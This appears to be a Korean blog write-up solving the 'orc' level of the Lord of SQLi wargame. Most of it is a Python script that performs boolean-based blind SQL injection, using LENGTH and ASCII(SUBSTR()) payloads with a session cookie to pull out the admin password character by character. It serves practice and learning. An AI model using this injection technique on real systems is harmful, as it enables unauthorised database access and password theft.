4. LOS - orc

저번에 심심할때 풀었다가 orc에서 막혀서 다시 포너블에 집중하고, lob, FC3 올클하고 다시왔습니다... 방학동안 너무 놀았어서서 탈이네요 ㅠ 공부 좀더 일찍 시작할껄..ㅠ

본론으로 들어가죠

코드를 보면다음과 같습니다.

password의 길이는 구하는 함수인 LENGTH를 이용하고

SUBSTR함수를 이용해서 한글자씩 비교하면 좋겠군요!!

아래는 페이로드입니다 :)

import requests
import string
 
num_alpha = string.digits + string.ascii_letters
password = ""
 
#find length passwd
URL = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
for i in range(1,10) :
    try :
        URL = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
        payload = "?pw=1234' or id ='admin' and LENGTH(pw)=" + str(i) + "%23"
        URL += payload
    #input your cookie(grin)
        cookies = dict(PHPSESSID = "dvs710ccqajrn9434hc3a00r11")
        response = requests.get(URL, cookies = cookies)
        print("[O] \n" + str(i) + ". connect success!!")
    except :
        print("[X] Error Code...OTL")
    if response.text.find ("</h2>") > 0 :
        print("passwd's length is : " + str(i) + "(grin)")
        break
 
#password LENGTH
for i in range(1, 9) :
    #ord("0") = 48 & ord("Z") = 90
    for j in num_alpha :
        URL = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
        payload = "?pw=1' or id ='admin' and ASCII(SUBSTR(pw,"+ str(i) +", 1))="+ str(ord(j))+"%23"
        URL += payload
        #input your cookie(grin)
        cookies = dict(PHPSESSID = "dvs710ccqajrn9434hc3a00r11")
        response = requests.get(URL, cookies = cookies)
 
        if response.text.find ("</h2>") > 0 :
            password += chr(ord(j))
            print (str(i) + "'s password is : " + chr(ord(j)))
            break
 
#when you find password? exploit!!
print(password)
URL = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
payload = "?pw=" + password
URL += payload
#input your cookie(grin)
cookies = dict(PHPSESSID = "dvs710ccqajrn9434hc3a00r11")
response = requests.get(URL, cookies = cookies)
print (response.text)